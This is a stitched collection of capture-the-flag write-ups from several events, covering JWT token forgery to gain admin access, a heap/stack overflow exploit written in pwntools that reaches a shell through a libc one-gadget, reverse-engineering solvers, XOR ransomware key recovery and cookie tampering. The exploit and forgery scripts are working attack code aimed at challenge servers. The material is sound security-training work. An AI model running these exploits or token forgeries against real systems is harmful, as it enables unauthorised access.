> `http://web.chal.csaw.io:9000/oauth2/token` : To request for the JWT token that will be used later in the header (as Authorization header) instead of the traditional of creating a session in the server and returning a cookie.
> `http://web.chal.csaw.io:9000/protected` : To get access to a restricted page that requires the user to be authenticated. The user should give the Token in the Authorization header. So the application could check if the user have the required authorization. The JWT Token contains also the user basic data such as "User Id" without sensitive data because it is visible to the client.
In this example, the Oauth server and the application that contains a protected pages are the same.
In real life, this concept is used in social media websites that are considered as a third party providing an Oauth service to authenticate to an external website using the social media's user data.
Now let's see what we should do.
First, we sould get the authorization from the Oauth server using these parameters:
> URL : http://web.chal.csaw.io:9000/oauth2/authorize
> Data : response_type=code : This is mandatory
> Data : client_id=A_CLIENT_ID : in this task, we can use any client_id, but we should remember it always as we use it the next time in thet /oauth2/token page
> Data : redirect_uri=http://web.chal.csaw.io:9000/oauth2/token : if the authorization succeeded (in the Oauth server), the user will be redirected to this URI (in the application) to get the generated token. In this task we can use any redirect_uri. Because, in any way, we are not going to follow this redirection
> Data : state=123 : Optionally we can provide a random state. Even, if we don't provide it, it will be present in the response when the authorization succeed
So in shell command, we can use cURL command to get the authorization :
```cl_id=1echo "POST http://web.chal.csaw.io:9000/oauth2/authorize"auth_key=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/authorize --data "response_type=code&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io:9000/oauth2/token&state=123" | awk -v FS="code=|&state" '{print $2}')echo "Getting Authorization Code : ${auth_key}"```
Output :
```Getting Authorization Code : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiIxIiwicmVkaXJlY3RfdXJpIjoiaHR0cDovL3dlYi5jaGFsLmNzYXcuaW86OTAwMC9vYXV0aDIvdG9rZW4iLCJpYXQiOjE1MzcyMjU2MTEsImV4cCI6MTUzNzIyNjIxMX0.LM3-5WruZfx1ld9SidXAGvnF3VNMovuBU4RtFYy8rrg```
So, this is the autorization code that we should use to generate the JWT Token from the application.
Let's continue.
As we said, we will not follow the redirection. Even you did that, you will get an error. I'm going to explain that.
Next, we send back that Authorization Code to the application (`http://web.chal.csaw.io:9000/oauth2/token`) :
> URL : http://web.chal.csaw.io:9000/oauth2/token
> Data : grant_type=authorization_code : mandatory
> Data : code=THE_GIVEN_AUTHORIZATION_CODE : the given authorization code stored in auth_key variable from the previous commands
> Data : client_id=SAME_CLIENT_ID : the same client id used in the begining (variable cl_id)
> Data : redirect_uri=http://web.chal.csaw.io:9000/oauth2/token : this URI should be the same redirect_uri previously used
So the cURL command will be :
```echo "POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization Code"token=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/token --data "grant_type=authorization_code&code=${auth_key}&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io:9000/oauth2/token")echo "Getting Json Response : ${token}"```
Output :
```Getting Json Response : {"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyNTYxMSwiZXhwIjoxNTM3MjI2MjExfQ.X6n_Z0YI0WRPwQAEOcsagwjR8nLx1i9mDJtYedlYG1k"}```
And, we get the Json response from the token page. Now, this application generated for us a JWT Token that contains some data that identifies our user which is supposed to be previously authenticated to the Oauth server (I repeat, I said it's supposed to be. To give you an example, it's like a website, that needs to get authorization from Facebook to get access to your user data and then it returns a JWT Token that contains an ID that identifies you from other users in this external website. So you should be previously authenticated to the Oauth server (Facebook) before that this external website gets an authorization to get access to your user data. Seems logical).
Let's extract the JWT Token from the Json response :
```jwt=$(echo $token | python -c "import sys, json;data = json.load(sys.stdin);print data['token'];")echo "Extracting JWT Token : ${jwt}"```
Output :
```Extracting JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyNTYxMSwiZXhwIjoxNTM3MjI2MjExfQ.X6n_Z0YI0WRPwQAEOcsagwjR8nLx1i9mDJtYedlYG1k```
Nice ! Now, we decode this JWT Token using python. If you don't have installed the 'PyJWT' python library, you should install it in Python2.x :
```pip install PyJWTjwt_decoded=$(pyjwt decode --no-verify $jwt)echo "Decoding JWT Token : ${jwt_decoded}"```
Output :
```Decoding JWT Token : {"iat": 1537225611, "secret": "ufoundme!", "type": "user", "exp": 1537226211}```
Good ! Now, we know that secret="ufoundme!" and the type="user".
In the first impression when I get this output, I said, why there is no username or user id and instead there is the secret ?
Maybe my user is an admin as expected from the task description.
But when I try to access to the protected page using this JWT Token I get this :
```curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt}"```
Output :
```You must be admin to access this resource```
Wait... What ? Why I'm not already an admin ?
When I checked again all the previous steps I said there is no way how to set my user to be an admin, I didn't get it how to do that.
Because, as I said, the user is supposed to be authenticated to the Oauth server.
Some minutes later I though that the solution is behind this line :
```Decoding JWT Token : {"iat": 1537225611, "secret": "ufoundme!", "type": "user", "exp": 1537226211}```
Maybe, type="user" should be type="admin". But, in JWT, if the used algorithm that generates the token is HS256, there is no way to break it. Because JWT Token is composed from "Header"+"Payload"+"Hash". And when we modify the Payload, we should have the key that is used to hash the payload to get a valid JWT Token.
And, from there I get the idea that maybe the hash is computed using a key which is a secret string. And since we have in the payload secret="ufoundme!", this will make sense !
Let's try it !
First, we edit the payload like this (we can change exp value and extend it if the token is expired) :
```{"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}```
So, we need using these commands :
```jwt_decoded_admin=$(echo $jwt_decoded | sed -e 's/user/admin/')echo "Replacing 'user by 'admin' : ${jwt_decoded_admin}"```
Output :
```Replacing 'user by 'admin' : {"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}```
Then, we generate again the JWT Token using the alogirhm HS256 and using the secret "ufoundme!" :
```secret=$(echo $jwt_decoded_admin | python -c "import sys, json;data = json.load(sys.stdin);print data['secret'];")echo "Extracting JWT secret for signing while encoding this payload : ${secret}"jwt_new=$(python -c "import jwt;print jwt.encode(${jwt_decoded_admin}, '${secret}', algorithm='HS256')")echo "Generating the new JWT Token : ${jwt_new}"```
Output :
```Extracting JWT secret for signing while encoding this payload : ufoundme!Generating the new JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE1MzcyMjc2MjUsInNlY3JldCI6InVmb3VuZG1lISIsInR5cGUiOiJhZG1pbiIsImV4cCI6MTUzNzIyODIyNX0.Y-7Ew7nYIEMvRJad_T8_cqZpPxAo_KOvk24qeTce9S8```
We can check the content of the JWT Token if needed :
```verif=$(pyjwt decode --no-verify $jwt_new)```
Output :
```Verifing the JWT Token content : {"iat": 1537227625, "secret": "ufoundme!", "type": "admin", "exp": 1537228225}```
And finally we send try again get accessing to the protected page using this newly created JWT :
```curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt_new}"```
Output :
```flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}```
To resume all the commands needed to get the flag, you can get all the commands from below or from this [sso_solution.sh](resources/web-100-sso/sso_solution.sh)
```sh#!/bin/bash
cl_id=1echo "POST http://web.chal.csaw.io:9000/oauth2/authorize"auth_key=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/authorize --data "response_type=code&client_id=${cl_id}&redirect_uri=http://web.chal.csaw.io$echo "Getting Authorization Code : ${auth_key}"echo "POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization Code"token=$(curl --silent 2>&1 -X POST http://web.chal.csaw.io:9000/oauth2/token --data "grant_type=authorization_code&code=${auth_key}&client_id=${cl_id}&redirect_uri=ht$echo "Getting Json Response : ${token}"jwt=$(echo $token | python -c "import sys, json;data = json.load(sys.stdin);print data['token'];")echo "Installing PyJWT python2.x library"pip install PyJWTecho "Extracting JWT Token : ${jwt}"jwt_decoded=$(pyjwt decode --no-verify $jwt)echo "Decoding JWT Token : ${jwt_decoded}"jwt_decoded_admin=$(echo $jwt_decoded | sed -e 's/user/admin/')echo "Replacing 'user by 'admin' : ${jwt_decoded_admin}"secret=$(echo $jwt_decoded_admin | python -c "import sys, json;data = json.load(sys.stdin);print data['secret'];")echo "Extracting JWT secret for signing while encoding this payload : ${secret}"jwt_new=$(python -c "import jwt;print jwt.encode(${jwt_decoded_admin}, '${secret}', algorithm='HS256')")echo "Generating the new JWT Token : ${jwt_new}"verif=$(pyjwt decode --no-verify $jwt_new)echo "Verifing the JWT Token content : ${verif}"echo "GET http://web.chal.csaw.io:9000/protected"echo "Response :"curl http://web.chal.csaw.io:9000/protected -H "Authorization: Bearer ${jwt_new}"echo ""```
Output :
```POST http://web.chal.csaw.io:9000/oauth2/authorizeGetting Authorization Code : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjbGllbnRfaWQiOiIxIiwicmVkaXJlY3RfdXJpIjoiaHR0cDovL3dlYi5jaGFsLmNzYXcuaW86OTAwMC9vYXV0aDIvdG9rZW4iLCJpYXQiOjE1MzcyMjg3ODMsImV4cCI6MTUzNzIyOTM4M30.1w-Wrwz-jY9UWErqy_W8Xra8FUUQdfJttvQLbELY050POST http://web.chal.csaw.io:9000/oauth2/token (using this Authorization CodeGetting Json Response : {"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyODc4MywiZXhwIjoxNTM3MjI5MzgzfQ.Vmt9Fr7MJ3_UxC5Dj8elPAwt6UT0p6CkjgaJa4LdAaI"}Installing PyJWT python2.x libraryRequirement already satisfied: PyJWT in /usr/local/lib/python2.7/dist-packagesExtracting JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNzIyODc4MywiZXhwIjoxNTM3MjI5MzgzfQ.Vmt9Fr7MJ3_UxC5Dj8elPAwt6UT0p6CkjgaJa4LdAaIDecoding JWT Token : {"iat": 1537228783, "secret": "ufoundme!", "type": "user", "exp": 1537229383}Replacing 'user by 'admin' : {"iat": 1537228783, "secret": "ufoundme!", "type": "admin", "exp": 1537229383}Extracting JWT secret for signing while encoding this payload : ufoundme!Generating the new JWT Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE1MzcyMjg3ODMsInNlY3JldCI6InVmb3VuZG1lISIsInR5cGUiOiJhZG1pbiIsImV4cCI6MTUzNzIyOTM4M30.RCW_UsBuM_0Le-kawO2CNolAFwUS3zYLoQU_2eDCurwVerifing the JWT Token content : {"iat": 1537228783, "secret": "ufoundme!", "type": "admin", "exp": 1537229383}GET http://web.chal.csaw.io:9000/protectedResponse :flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}```
So, the flag is `flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}`
# Scoreboard
Our team S3c5murf (2 team members thanks to Dali) get ranked 139/1488 active challenger with a score 1451.
This is the scoreboard and the ranking in this CTF :
Summary:
Tasks:
|
# Anticaptcha
> Wow, this is a big captcha. Who has enough time to solve this? Seems like a lot of effort to me!
## The setupWe are given a webpage with a bunch of captchas (around 600), where you have to find gcd, primality or other asinine stuff.
## The solvingLooking back, submitting an empty form always returned ```6 questions wrong``` which should have tipped me off that there were only 6 special questions to be answered. However, I went the hard way and scripted an auto parser that splits the initial response when calling the website into it's parts, analyses each question and adds the answer to an array (I had all the scripts already). There were 6 sepcial questions about capitals and mountains which I hardcoded like a dumbass. Running the script then returned the flag. Easy as pie. |
#Hardshells
>After a recent hack, a laptop was seized and subsequently analyzed. The victim of the hack? An innocent mexican restaurant. During the investigation they found this suspicous file. Can you find any evidence that the owner of this laptop is the culprit?
## The setupWe get a zipfile which is password protected. This part actually took me the longest: I couldn't figure out the password and didn't even try to fcrack it. I left the challenge and came back to it after a a day or two and instantly realized it had to be tacos ('hardshells' had to be a hint). This correctly unzipped a nice file.
## The weird fileThe complete file was about 5M in size but opening it with hexedit quickly revealed it to be mostly null bytes. The nly exception were a few snippets here and there and a huge snippet in the upper half which suspiciously reminded me of a PNG. Except for the header which said ```PUG``` instead of PNG. So I knew something was fishy.
## The solving - going round the worldLooking back, it was so easy. Most teams correctly identified the file as a Minix filesystem which could be mounted and that contained the PNG. Instead, I went the hard way. Which meant deleting everything before 'PNG' and everything after 'IEND', leaving me with a broken PNG file. I got a PNG but it only showed the top row, about 1/40 of the image, the rest was some dark mess.
Using PNG check it quickly showed me that there was something wring with the IDAT checksums and the IDAT length. Basically, a PNG is broken down in chunks and each chunk always has the following structure:
[Length = 4 bytes][Type = 4bytes][Data = Length bytes][CRC sum = 4 bytes]
The first IDAT's Length and checksum were all messed up. I first tried to change the length and manually repair the checksums. Took me forever and didn't lead anywhere. In the end, I realized that there was a chunk of null bytes in the middle of the first chunk which happened to have the exact size of [actual length - indicated length]. Removing that chunk and saving gave me the file and the flag.
Looking back, the way I took was absurdly complicated but I actually learned a ton about PNG which was super helpful (I was actually able to repair a few files IRL after this). Really liked the challenge, 10/10 would do again. |
## Memsome (Reverse)
### Solution1. There are many debugger detecting code, patch all of them first.
2. Trace the program and found that it will keep reading a byte sequence and translate the sequence into a hex string with length 2240
3. Each byte from the input will passthrough base64 and `sub_766C` twice, encode them into a 32 chars string and compare it with the repective string fragment in step.2
4. Collect the offset that data to be read from for string at step.2 first.
Note: Some part is directly copy from two hex strings, hex1(`0061f1f351a4cddda4257550dc7d3000`) and hex2(`cfff0050c0b39cf3bdde5a373b96b8a1`)```0 0x7abb32 0x7acc64 0x7add96 0xaee128 0x7aff160 0x7b10192 0x7b21224 0x7b21256 hex1288 0x7b59320 0x7b10352 0x7b6a384 hex1416 0x7b21448 hex2480 0x7b21512 hex2544 0x7ba1576 0x7bb2608 0x7bc3640 0x7bb2672 hex2704 0x7ba1736 0x7bc3768 0x7b21800 0x7bd4832 0x7be5864 hex2896 0x7b59928 0x7bd4960 hex1992 0x7bf61024 0x7c071056 0x7b211088 0x7be51120 0x7b591152 0x7c181184 0x7c071216 0x7bd41248 0x7bd41280 0x7bc31312 0x7bc31344 0x7bf61376 0x7bf61408 0x7c291440 0x7b6a1472 0x7b211504 0x7bd41536 hex11568 0x7b6a1600 0x7c181632 0x7bd41664 0x7be51696 0x7c291728 0x7bb21760 hex11792 0x7c291824 0x7c3a1856 0x7b211888 hex21920 0x7bc31952 hex11984 0x7c3a2016 0x7ba12048 0x7be52080 0x7bf62112 0x7c3a2144 0x7bf62176 0x7c072208 0x7c4b```
5. Use a script to generate the string in step.2```98678de32e5204a119a3196865cc7b83e5a4dc5dd828d93482e61926ed59b4ef68e8416fe8d00cca1950830c707f1e2273747265616d4963545f4553355f63000b3dfc575614989f78f220e037543e5575ac02c02f1f132e6c7314cad02f17cdde32f4b8b17a37d87ea7436c6f215a34de32f4b8b17a37d87ea7436c6f215a340061f1f351a4cddda4257550dc7d30000614aebdc5c356c2ca0f192c8f6880cb75ac02c02f1f132e6c7314cad02f17cdddb8e3fc866990482e44ec0b78af08bd0061f1f351a4cddda4257550dc7d3000de32f4b8b17a37d87ea7436c6f215a34cfff0050c0b39cf3bdde5a373b96b8a1de32f4b8b17a37d87ea7436c6f215a34cfff0050c0b39cf3bdde5a373b96b8a11e14bf5fdcbf5ec3945729ed48110d23e4ad919d695a4ec3da99398d075aa21b0f960e74a909d8558eefd9ab9ee8dbf3e4ad919d695a4ec3da99398d075aa21bcfff0050c0b39cf3bdde5a373b96b8a11e14bf5fdcbf5ec3945729ed48110d230f960e74a909d8558eefd9ab9ee8dbf3de32f4b8b17a37d87ea7436c6f215a342933a2c8540feca890144972daad94c4daa65a87e8a3d171b4d141c1ba716e49cfff0050c0b39cf3bdde5a373b96b8a10614aebdc5c356c2ca0f192c8f6880cb2933a2c8540feca890144972daad94c40061f1f351a4cddda4257550dc7d3000c97a9650ef8edf91d8c20734ec20112e40a7e180ede04d75b827585e9a1a547dde32f4b8b17a37d87ea7436c6f215a34daa65a87e8a3d171b4d141c1ba716e490614aebdc5c356c2ca0f192c8f6880cb6bd1e27cd9cd034bf3d1d39d3e75b29e40a7e180ede04d75b827585e9a1a547d2933a2c8540feca890144972daad94c42933a2c8540feca890144972daad94c40f960e74a909d8558eefd9ab9ee8dbf30f960e74a909d8558eefd9ab9ee8dbf3c97a9650ef8edf91d8c20734ec20112ec97a9650ef8edf91d8c20734ec20112e9ab45911b5716c3104e44a8947be4cf6ddb8e3fc866990482e44ec0b78af08bdde32f4b8b17a37d87ea7436c6f215a342933a2c8540feca890144972daad94c40061f1f351a4cddda4257550dc7d3000ddb8e3fc866990482e44ec0b78af08bd6bd1e27cd9cd034bf3d1d39d3e75b29e2933a2c8540feca890144972daad94c4daa65a87e8a3d171b4d141c1ba716e499ab45911b5716c3104e44a8947be4cf6e4ad919d695a4ec3da99398d075aa21b0061f1f351a4cddda4257550dc7d30009ab45911b5716c3104e44a8947be4cf6fc496ce3c3e2e04604c375f7edc3cbc4de32f4b8b17a37d87ea7436c6f215a34cfff0050c0b39cf3bdde5a373b96b8a10f960e74a909d8558eefd9ab9ee8dbf30061f1f351a4cddda4257550dc7d3000fc496ce3c3e2e04604c375f7edc3cbc41e14bf5fdcbf5ec3945729ed48110d23daa65a87e8a3d171b4d141c1ba716e49c97a9650ef8edf91d8c20734ec20112efc496ce3c3e2e04604c375f7edc3cbc4c97a9650ef8edf91d8c20734ec20112e40a7e180ede04d75b827585e9a1a547d44e18699a27596eddd71b7920a04864b```
5. `sub_766C` is too complicated, I spend more than three hours analyze it and give up. But I finally realize that I just need to enumerate all characters and intercept their encoded result(`*$rax`) after the second `sub_766C` call using gdb, then build a table```"9cbed6266f60ca7e18c6c18b08ace144": "A","b72f3ce3edc16fc82ac190c670945e83": "B","e5a4dc5dd828d93482e61926ed59b4ef": "C","98678de32e5204a119a3196865cc7b83": "D","05121f25ccf7058476a5f7d0f43a10a5": "E","226c14d44cd4e179b24b33a4103963c2": "F","020e4eceeae7931c809992184401e2c0": "G","89d22413a6825bcaf4ab2b4d8bd5935b": "H","4f81f5c6cb5325b7c1c1f5e0f3f9cd7d": "I","d09355804552f10586e18fd9b7c73d7d": "J","4005b42e317e77e796ca032c4331e3b8": "K","4681ad30737f72a311e5e3b9044438cd": "L","2cff56a46bf98b85bed3a933bc8e0d9c": "M","8e5341c1bd5979fae65e883a28b67b4e": "N","af6ec03a0a07c3d80665ec5130e2e593": "O","aefb764a059808b589d733aca123f5de": "P","16490be59a6da3cadbf0db02050ae1b5": "Q","90ba3f664d530000626914f80f8b5272": "R","d83e98514ae6735092cad56fb8dc7b48": "S","68e8416fe8d00cca1950830c707f1e22": "T","871b45a56ea9687d28492550b41ad558": "U","543884539cecbe3bd4e78860dbf70cfe": "V","305c19426fecca73a7d72f4b31e0e92d": "W","c3202ec1672642fde3077971bbb45e73": "X","c88c8d7854b735bad26190a4636b0288": "Y","f01d3924eaa08676a8cb6bdab91ff06d": "Z","de32f4b8b17a37d87ea7436c6f215a34": "a","9ab45911b5716c3104e44a8947be4cf6": "b","40a7e180ede04d75b827585e9a1a547d": "c","ddb8e3fc866990482e44ec0b78af08bd": "d","6bd1e27cd9cd034bf3d1d39d3e75b29e": "e","0f960e74a909d8558eefd9ab9ee8dbf3": "f","979ac9caba8271dc1c6e4f6ee52ec2d0": "g","6d02afeb4553323f3e2537afc4900427": "h","4a39ba8a55375ead7773ba9d800bab01": "i","c7cd26b4f506085c2e954d7e290f179d": "j","3b35be578493524a2249888e71a8a3a7": "k","e65573b6babfcdc16045c91e88aed749": "l","e8c1e678e4902e12b83f8f75b1409933": "m","0b3dfc575614989f78f220e037543e55": "n","c1c2eae083eab5a8558b77a834988c4f": "o","8aceb753526e4ba898c5f343fd868e9e": "p","788bd3e083dda7e1459f9bd1b79990bf": "q","aea7c77980b7a22764702f2e173384b9": "r","7f0b16b72a9a64b957d6d8f3945508b6": "s","df6d46fb7df61c19d995430432970d55": "t","e67ec66f53b6924402cdc907d27deeda": "u","8af7278d5700c86e901628704741f0eb": "v","ed3554a4707539dc61c10661edda8aea": "w","d3135c717071ba3bf410d74caa62bb6d": "x","5a1cdc7e29df2bc486df10990cf81579": "y","5a1cdc7e29df2bc486df10990cf81579": "z","0061f1f351a4cddda4257550dc7d3000": "1","1e14bf5fdcbf5ec3945729ed48110d23": "2","c97a9650ef8edf91d8c20734ec20112e": "3","0614aebdc5c356c2ca0f192c8f6880cb": "4","e4ad919d695a4ec3da99398d075aa21b": "5","daa65a87e8a3d171b4d141c1ba716e49": "6","2933a2c8540feca890144972daad94c4": "7","cfff0050c0b39cf3bdde5a373b96b8a1": "8","75ac02c02f1f132e6c7314cad02f17cd": "9","fc496ce3c3e2e04604c375f7edc3cbc4": "0","2460ca5292277ff9076ab2c34a12f583": "_","0b3dfc575614989f78f220e037543e55": "{","44e18699a27596eddd71b7920a04864b": "}",```
6. Finally, use the table to substitute the string in step.5, any character missing will shown as `^`.```DCT^{9aa149d1a8a825f582fa7684713ca64ec77ff33bda71de76b51b0a8f1026303c}Lossing key:{'73747265616d4963545f4553355f6300'}```
7. One character is missing, I guess it's `F`, subsitute it and it's correct!
### Exploit```python#!/usr/bin/env python3import binascii
hex1 = "0061f1f351a4cddda4257550dc7d3000"hex2 = "cfff0050c0b39cf3bdde5a373b96b8a1"
license = ""
encode_table = { # omitted here}
with open('memsom', 'rb') as b: with open('offsets', 'r') as f: for line in f.readlines(): _, offset = line.split() if offset == "hex1" or offset == "hex2": license += eval(offset) else: offset = int(offset[2:], 16) b.seek(offset) data = b.read(16) license += binascii.b2a_hex(data).decode()
ss = set()print(len(license))for i in range(0, len(license), 32): print(license[i:i+32])
for i in range(0, len(license), 32): try: print(encode_table[license[i:i+32]], end="") except KeyError: print("^", end="") ss.add(license[i:i+32])print("\nLossing key:")print(ss)
```
### Flag```DCTF{9aa149d1a8a825f582fa7684713ca64ec77ff33bda71de76b51b0a8f1026303c}``` |
**Description**
> Welcome to the Army. Go get your promotion !!> > `nc 185.168.131.122 6000`
**Files provided**
- [army](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-09-08-HackIT-CTF/files/army)
**Solution** (by [Mem2019](https://github.com/Mem2019))
The problem is here in `create`
```cv4 = malloc(v5);if ( v4 ){ printf("Enter your description: ", nptr); v3 = (char *)malloc(v5); read(0, v3, v5); v7->descript = v3; v7->des_len = v5; g_des_len = v7->des_len;}else{ puts("Malloc error"); // logic problem //return here}```
If the malloc fails, the `g_des_len` and `v7->des_len` are not updated, so they can have inconsistent value
However, in `delete`
```csigned __int64 delete(){ int v1; // eax void *v2; // rsp __int64 v3; // [rsp+0h] [rbp-30h] int v4; // [rsp+Ch] [rbp-24h] void *buf; // [rsp+10h] [rbp-20h] __int64 v6; // [rsp+18h] [rbp-18h]
if ( !if_created ) return 0LL; v1 = me->des_len; v6 = v1 - 1LL; v2 = alloca(16 * ((v1 + 15LL) / 0x10uLL)); // 8 up buf = &v3; printf("Enter your answer : ", v1, (v1 + 15LL) % 0x10uLL, 16LL, v1, 0LL); v4 = g_des_len; read(0, buf, g_des_len); puts("So trolled man, Imma demote you. Now you will be junior to your friends hahahaha so embarrasing."); free(me->name); free(me->descript); //...}```
it uses `me->des_len` to do stack allocation but uses `g_des_len` as the size, so this could cause overflow, and there is no canary.
The way to control `g_des_len` is easy, it's just length of last description
How can we control `me->des_len`? well, the soldier struct will be allocated from 0x30 fastbin, and this will be the previous `me->name` if the length of descript is not 0x30 fastbin, which is contollable.
PS: the `g_des_len` is `char`, but `me->des_len` is `int`; however, this does not seems to be exploitable.
exp:
```pythonfrom pwn import *
g_local=Truecontext.log_level='debug'
ONE_GADGET_OFF = 0x4526aif g_local: e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") sh = process('./army')#env={'LD_PRELOAD':'./libc.so.6'} #gdb.attach(sh)else: sh = remote("185.168.131.122", 6000) e = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") #ONE_GADGET_OFF = 0x4557a
def create(descrip, length): sh.send("1\n") sh.recvuntil("Enter name: ") sh.send("1\n".ljust(0x23, "\x00")) sh.recvuntil("Enter height: ") sh.send("1\n") sh.recvuntil("Enter weight: ") sh.send("1\n") sh.recvuntil("Enter length of answer: ") sh.send(str(length) + "\n") if descrip: sh.recvuntil("Enter your description: ") sh.send(descrip) sh.recvuntil("3. I think I deserve a promotion\n")
def delete(answer): sh.send("3\x00\x00\x00") sh.send(answer) sh.recvuntil("3. I think I deserve a promotion\n")
sh.recvuntil("Beginner's Luck : ")leak = sh.recvuntil("\n")libc_addr = u64(leak[:len(leak)-1] + "\x00\x00") - e.symbols["puts"]print hex(libc_addr)sh.recvuntil("3. I think I deserve a promotion\n")
create("123", 0x7F)delete("111")create(None, -1)sh.send("3\x00\x00\x00" + (cyclic(56) + p64(libc_addr + ONE_GADGET_OFF)).ljust(0x7F, "\x00"))sh.interactive()``` |
#AntiCaptcha
For this challenge you were given a rather long form with questions to be filled in. Most of the questions were of of the following types:
>What is the greatest common divisor of 2052 and 5816?>What is the 2nd word in the following line: for job bring next mention prove. maybe let thank show. live recent i seek. arrive stay draw save thought exist. manage number drug eye tough kind.>Is 5174 a prime number?
With what appears to be randomized sequences of words and numbers.
There were also a few special questions which didn't fit into this format, such as:
>What is the capital of Hawaii?>Who directed the movie Jaws?
Thinking you were supposed to fill in the form automatically, I created some javascript code which could simply be pasted into the console. It seemed to fill in the answer to every question just fine, but when I ran it I got "200 answers wrong". This was a bit strange. When I ran just pressed submit I got "6 answers wrong", so clearly something is going on here. I then realized that there was only 6 special questions. When I filled in the answer to just those, I got the flag.
IceCTF{ahh\_we\_have\_been\_captchured} |
- [Ransomware](#ransomware)- [Memsome](#memsome)- [Get Admin](#get-admin)
# Ransomware
I got the first blood, it's the easiest one.
decompile the .pyc ```pyimport stringfrom random import *import itertools
def caesar_cipher(buf, password): password = password * (len(buf) / len(password) + 1) return ('').join((chr(ord(x) ^ ord(y)) for x, y in itertools.izip(buf, password)))
f = open('./youfool!.exe', 'r')buf = f.read()f.close()allchar = string.ascii_letters + string.punctuation + string.digitspassword = ('').join((choice(allchar) for OOO0OO0OO00OO0000 in range(randint(60, 60))))buf = caesar_cipher(buf, password)f = open('./D-CTF.pdf', 'w')buf = f.write(buf)f.close()```
It's a reapeating xor cipher, can be cracked by frequency analysis.
Got a almost correct key by frequency analysis,then try to refine it with PDF file format (something like `/Length`, `num num obj`, `/Format`).
```pyfrequency_analysis_key = [0x3a,0x50,0x2d,0x40,0x75,0x1a,0x4c,0x22,0x59,0x31,0x4b,0x24,0x5b,0x58,0x29,0x66,0x67,0x5b,0x39,0x22,0x2e,0x34,0x35,0x59,0x71,0x39,0x69,0x3e,0x65,0x56,0x29,0x3c,0x30,0x43,0x3a,0x28,0x27,0x71,0x34,0x6e,0x02,0x5b,0x68,0x47,0x64,0x2f,0x45,0x65,0x58,0x2b,0xbc,0x37,0x2c,0x32,0x4f,0x22,0x2b,0x3a,0x5b,0x77]
key = [58, 80, 45, 64, 117, 83, 76, 34, 89, 49, 75, 36, 91, 88, 41, 102, 103, 91, 124, 34, 46, 52, 53, 89, 113, 57, 105, 62, 101, 86, 41, 60, 48, 67, 58, 40, 39, 113, 52, 110, 80, 91, 104, 71, 100, 47, 69, 101, 88, 43, 69, 55, 44, 50, 79, 34, 43, 58, 91, 50]```
# Memsome
A C++ program, read the secret_file and do rot13 on it.Then do base64->md5->md5 to every char of rot13ed-key , every result have to match with:
```pychunk =["98678de32e5204a119a3196865cc7b83", "e5a4dc5dd828d93482e61926ed59b4ef", "68e8416fe8d00cca1950830c707f1e22", "226c14d44cd4e179b24b33a4103963c2", "0b3dfc575614989f78f220e037543e55", "75ac02c02f1f132e6c7314cad02f17cd",...]```
So, just brute force byte by byte:
```pyfrom base64 import b64encodeimport hashlibrot13_key = ""for i in range(len(chunk)): for test in range(256): if hashlib.md5(hashlib.md5(b64encode(chr(test))).hexdigest()).hexdigest() == chunk[i]: rot13_key += chr(test) break#rot13_key = QPGS{9nn149q1n8n825s582sn7684713pn64rp77ss33oqn71qr76o51o0n8s1026303p}
#key = DCTF{9aa149d1a8a825f582fa7684713ca64ec77ff33bda71de76b51b0a8f1026303c}```
# Get Admin
The format of cookie is
`AES(idยกvalueรทusernameยกvalueรทemailยกvalueรทchecksumยกvalue)` + `length of plaintext`
Like :
`IC5LGPMj%2Bts5ygEGoQB3vrmYzrMpafvt3vBEMK86SnThpfr6YnjnKM%2B%2BjOKNino3OfRpsUrGLrV7EUYgbh1Vud7rso1Ubv3Z8oQH65gxKJM4tTePlBZ8FFvnNsyZ%2Fhqp000086`
We have to make our id equals to `1` to become admin, so just register with username `aaaaรทidยก1รทchecksumยกXXXXXXXXX`, then the whole token would become `idยก????รทusernameยกaaaaรทidยก1รทchecksumยกXXXXXXXXXรทemailยกvalueรทchecksumยกvalue`
Now, because we can control the length of plaintext, just set it to the length of `idยก????รทusernameยกaaaaรทidยก1รทchecksumยกXXXXXXXXX`, we can overwrite the `id`,thus, the checksum is `crc32(idยก1รทusernameยกaaaa)` , the username should be `aaaaรทidยก1รทchecksumยก1319112219`.
